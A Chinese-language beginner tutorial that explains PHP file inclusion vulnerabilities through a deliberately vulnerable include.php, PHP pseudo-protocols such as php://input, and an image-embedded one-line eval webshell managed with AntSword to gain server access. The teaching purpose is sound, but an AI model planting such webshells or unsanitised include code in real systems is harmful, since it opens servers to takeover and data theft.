前言
本文并未打算向读者介绍更多更新的利用手法或前沿技术(感觉大牛实在太多,自己还是先继续学习吧),写本文的目的是为了帮打算进入安全的小伙伴通过文件包含漏洞的引子理清一些基本但重要的概念,并介绍一些自己学习的方法(不一定是最好的),笔者认为,只有当一个人心中有对事物的整体框架,才能不迷惑,知道自己该如何作有效有质的努力,本文就是打算做这样一件事,不一定能做好,但确实尽力了,还请多多见谅!
文件包含
谈论一个漏洞的机理,有时候需要知道一些漏洞背后的故事,不求多,但求以最小知识体系去快速把握一个漏洞的整体,因此在说文件包含漏洞之前,我们需要聊聊什么是文件包含?
假设,在服务器上存在这样的两个文件:
/include.php
该代码仅定义了一个变量 $a0
,未定义变量 $a1
但包含了文件functions.php,且最后要输出 $a0
和变量 $a1
拼接后的结果。
/functions.php
该代码里定义了变量 $a1
,除此之外,没有其他的了。
当客户端访问www服务器上的/include.php文件(这里,使用还回地址代替这个过程),可以看到浏览器成功返回 $a1
拼接后的结果
至此,可以简单概括一下什么是文件包含:
关键点就是‘引用’(用具体的但可能不准确的词,有时可能更有利于理解);
在实际的开发环境下,为了代码逻辑结构清晰,复用率高,通常将实现好了的功能函数或定义好的变量等单独的放在一个文件里,需要时,通过 include()
等函数直接包含即可达到类似引用的效果。
文件包含漏洞
接下来聊聊什么是文件包含漏洞(以下探究,力求用最基本的环境去阐述漏洞产生的原理)
在上面的实例中,可以知道 include()
函数静态包含了 functions.php
文件,也就是,客户端的用户是不能随意修改的,但是如果 include()
采用动态包含的方式去包含文件,且未做好安全措施,就有可能产生文件文件包含漏洞,下面来看一个采用 include()
动态包含文件的例子。
假设,在服务器的根目录下存在这样两个文件:
/include.php
直接访问该文件,浏览器会得到 Please input "?f=functions.php"
这样一条提示,如果在url后再拼接一个 ?f=functions.php
当后端检测到用户传参f时,就会尝试包含 $f
。
/functions.php
这段代码,输出一句话
客户端在浏览器直接访问 /include.php
拼接提示的参数,重新访问 /include.php
根据页面返回的信息,可以知道 include.php
对应的页面输出了 functions.php
执行后的结果,也就是说客户端通过拼接参数 f=functions.php
成功让服务器端的 include.php
里的 include()
函数包含了文件 functions.php
这个过程如下图:
可以想象,如果客户端不想拼接 f=functions.php
想拼接其他文件资源会如何?
假设我们通过某种途径还知道根目录下有这样一个文件 /secret.php
我们尝试在浏览器中拼接 f=functions.php
可以看到,成功得到其他文件的内容。
尝试利用该漏洞访问D盘下的某个文件
(以上例子,更侧重与原理的讲解,现实情况下的文件包含漏洞的利用方式更加多样与复杂)
在C盘的根目录下创建 1.txt
,内容如下:
<?php
phpinfo();
?>
通过文件包含漏洞访问 1.txt
,结果如下:
可以看到,include.php
对应的页面返回了 1.txt
里PHP代码执行后的结果。
在www服务武器上,有一些文件资源是不能直接通过url直接访问的,这样做在很大程度上提高了服务器的安全等级。但是,如果网站存在文件包含漏洞,可以通过利用该漏洞达到获取网站敏感文件信息的目的。
至此,再次简单概括一下文件包含漏洞成因:
后端代码采用动态包含,文件包含参数用户可控,后端代码未对用户参数作出有效的安全处理。
(实际上,引用《白帽》的一句话,有输入输出的地方就有可能造成安全问题,这句话确实精辟。这个思想在后序很多的漏洞学习中都有用到。)
PHP中与文件包含相关的函数
除了上面举例的include()函数外,另外还有3个与文件包含相关的函数,这些函数大同小异,运用在不同的场景:
include()
//找不到被包含的文件产生警告,但脚本继续执行
include_once()
//功能同上,区别是同一包含对象仅包含一次
require()
//找不到被包含的文件产生错误,脚本运行停止
require_once()
//同上,区别是同一包含对象仅包含一次
通过之前的例子,实际我们也可以得出一个 include()
函数的特性,include()
函数会将包含的文件里的内容当作php代码执行(只要里面的内容是符合php语法规范的),这个特性通常和文件上传漏洞配合,简单点讲其基本思路就是利用存在文件上传漏洞的页面上传图片马,之后再利用文件包含漏洞去执行图片马里的PHP代码。不过,思路虽如此,但大多数情况下,如何上传图片马以及上传后得知其路径等步骤,都需要再进行安排。
这些函数的具体内容可以参考PHP官方手册,网上的实际例子也有很多,至此,不在作多余的赘述。
https://www.php.net/manual/zh/index.php
这些敏感函数是后期代码审计的关键,通过对比函数的同与异,以及学习各种利用姿势,可以为后期做代码打下坚实的基础。
敏感文件
刚刚有提到,利用文件包含漏洞是可以达到访问服务器上敏感资源的效果,在CTF比赛中,通常将flag存放在服务器根目录下的flag文件里(或者,在此基础上变变花样,将flag存放在 /ffffllllaaaggg
或 1112/678687/dsfdsf/flag
这样的奇怪的路径下)也经常通过利用文件包含漏洞结合其他漏洞打组合拳来达到读取flag的目的。
除此之外,笔者认为,更应该通过一个漏洞点去发散的积累更多的有效知识,例如:既然我们已经知道了通过文件包含漏洞可以达到读取敏感文件的效果,那么,对于做安全的人来讲,敏感文件种类、路径、文件名是需要作安全处理的,Linux的权限管理机制也是一个值得学习的点,不同平台的不同特性也是需要区别对待的。
这里参考《Web安全深度剖析》的一张图:
除此之外,还有非常多的敏感目录信息需要我们自己去了解,这里给出一个学习思路:在github上有许多优秀的开源项目,比如说,也存在各种技术大牛实现的自动化不同平台的敏感信息收集工具,大多数情况下,对于搜集类的软件来说,其内部都有一本强大的字典,学习其字典或生成的报告书并利用好搜索引擎,可能也是一个不错的主意。
PHP伪协议
在前面的探讨中我们知道,include()
函数会将包含的符合PHP语法规范的任意文件当PHP文件解析,那么我们思考一下,这是不是说如果我们利用文件包含漏洞去包含一个服务器上的PHP文件,则只会得到PHP文件执行后的结果,如果我们想要得到PHP文件的源码,那该怎么办?
这时候就引入了PHP伪协议的概念,与网络协议相类似,都可以归结为约定的实现,只不过PHP伪协议是PHP环境下遵循的约定。利用PHP中内置的一些特定的协议,可以解决上面提到的读取PHP源码的问题。其使用方法也很简单,实例如下:
基本环境:
www服务器 /include.php
<?php
if (isset($_GET['f'])){
$f=$_GET['f'];
include("$f");
}else{echo "<h2>Please input \"?f=functions.php\"</h2>"."<br>";}
www服务器 C://1.PHP
<?php
phpinfo();
?>
测试:
直接包含 1.PHP
,返回执行后的结果
利用PHP中的某个伪协议包含 1.PHP
,返回源代码
此时返回的是base64编码后的源代码,解码后即可得到 1.PHP
的源码
由此可以看出,通过这种方式,是可以获得网站的源码的,获得源码之后,通常通过再次审计源码可以更直观的发现更多的可以利用的漏洞,如序列化与反序列化漏洞,以及找到更好的绕过方式等。
每种伪协议有其固定的格式与使用环境,慢慢学,都能掌握,如上面的一个PHP伪协议,其格式分析如下:
除此之外,PHP还内置了很多伪协议,其功能与使用环境也大不相同,大致提几个:
file://
访问本地文件系统
php://input
访问请求的原始数据的只读流
zip://
压缩流,用于访问压缩文件中的子文件
data://
传递相应格式的数据,通常用来来执行PHP代码
除此之外,还有很多PHP伪协议,每种伪协议要想真正读懂,需要结合实际,亲自使用与测试,很多时候,能会用就离理解差不远了。另外,伪协议虽然强大,但却受限于PHP的环境配置,对php的配置文件作不同的安排,其能使用的PHP伪协议也大有不同,再者,一些PHP协议可能会结合其内部封装好的过滤器一起使用,这时候,对一些关键字的过滤可以有效提高平台的安全。
例如:利用php://input可以达到执行任意代码执行的效果
include.php
<?php
if (isset($_GET['f'])){
$f=$_GET['f'];
include("$f");
}else{echo "<h2>Please input \"?f=functions.php\"</h2>"."<br>";}
在这个例子中,我们传参一个 ?f=php://input
,紧接着post一行php代码 <? php phpinfo();?>
,之后,从返回结果看出,成功的返回了我们post的PHP代码执行后的结果。
但这种方法几乎不可利用,受限于 allow_url_include = On;``allow_url_fopen = On/Off
两个PHP配置选项,而大多数情况下,考虑安全因素,这些选项都会关闭。
在CTF中,很多时候都会利用文件包含漏洞与PHP内置伪协议来访问文件,同时出题方也可能会禁用一些PHP伪协议或黑白名单禁用一些关键字以达到干扰解题人的目的,这时,就不能拘泥于一种伪协议或方法,要有会绕过的思想。
总而言之,笔者想要表达的一个意思是,PHP内置的伪协议很强大,配合文件包含漏洞往往有惊人的效果,但却有很多受限条件。
图片马
刚刚有提到,include()会将符合PHP语法规范的文件内容当php代码执行,因此,有些时候,会将一段恶意的php代码嵌入图片,之后再利用文件包含漏洞去触发图片马里的php代码。
在接下来的讲述之前,我们需要先明确一个概念,恶意代码是如何嵌入图片的?
在计算机系统内,实际上所有的信息都是二进制信息流,之所以有如此多的表示形式更多的是因为不同的上下文,例如,下面有一张简易的嵌入php恶意代码的图片,如果以记事本的方式打开,是这样的:
虽然很多乱码,但依然可以清晰的看到有一段php代码。图片也是有一定格式的二进制数字流,只要嵌入后的代码并没有破坏掉图片的上下文,都能正常显示。至于如何制作图片码,网上的教程和工具都有很多,再此,不再作多余赘述。
之后,还有一个问题要解决,嵌入的代码是什么?
上面嵌入的代码的完整形式是这样的 <?php @eval($_POST['1']);?>
;eval()
函数会将传入的任意数据当做php代码执行,只要我们输入一段php代码,eval()
函数就会执行一条命令,例如:
假设,服务上有 eval.php
:
<?php @eval($_POST['1']);
发起请求
服务器成功的执行了phpinfo()函数,除此之外,还想做什么就完全取决于用户了。
图片马里通常都是这样一段简短的代码,成功的制造一个这样的效果又叫获得一个web shell环境,类似于linux下的shell与windows下的命令行的感觉,用户输入一条命令,计算机执行一条命令。
接下来展示文件包含漏洞+图片马+webshell管理工具的简单组合使用
基本环境如下:
服务器:
include.php
<?php
if (isset($_GET['f'])){
$f=$_GET['f'];
include("$f");
}else{echo "<h2>Please input \"?f=functions.php\"</h2>"."<br>";}
upload/atk.png(假设已经成功上传)
一张图片马,内容如下:
客户端:
webshell管理工具:蚁剑
简单说明一下什么是web shell管理工具,就像刚刚我们讨论的一样,用户可以通过 <?php @eval($_POST['1']);?>
作很多事情,只要知道想做什么,web shell是一个图形化的可以代替我们作这件事的一个工具,其最基本的一个功能就是图形化展示远程连接后的服务器的文件结构(前提是成功上传了一个web shell)
客户端测试:
说明可以成功包含图片马,接下来蚁剑管理web shell
成功连接后,展示出服务器的目录结构,当然,也可以像本地访问文件一样访问一些文件(有特殊权限设置的文件不行)
远程文件包含
利用文件包含漏洞包含本地文件叫做本地文件包含,利用文件包含漏洞包含远程其他服务器的文件叫做远程文件包含,可以想象,如果在恶意用户自己搭的服务器上放上一段恶意代码文件,然后再利用远程文件包含漏洞去获得webshell环境,整个攻击过程被简化了许多。但其利用条件苛刻,在此,不再过多赘述。
小结
本文仅用了windows下的集成环境作了阐述,但不同环境下的结果可能还有所区别,不过大同小异,基本思路不变。总而言之,就是要想各种办法利用文件包含漏洞getshell,在有整体的思路后,不断细化与探索各个环节,大概就是一段完整的漏洞利用流程(自我感觉),对于web安全的学习,后期光是各种中间件感觉就够喝一壶了,因此,快速学习以及最小知识量的思想一定有。
结语
本文并没有对文件包含漏洞的各种利用做详细总结,例如:利用日志包含或session包含get shell,这方面的资料与文章还是很多的,就不再作造轮子的事了,有兴趣的小伙伴可以学习一下,还是非常有意思的。另外,笔者也在不断学习总,功力有限,文章中如果存在各种不详尽的地方,还请多多见谅!希望共同进步!
参考
《web安全深度剖析》
《白帽子将安全》
《PHP Web安全开发实战》
《web 安全攻防渗透测试实战指南》
《CTF 从0到1》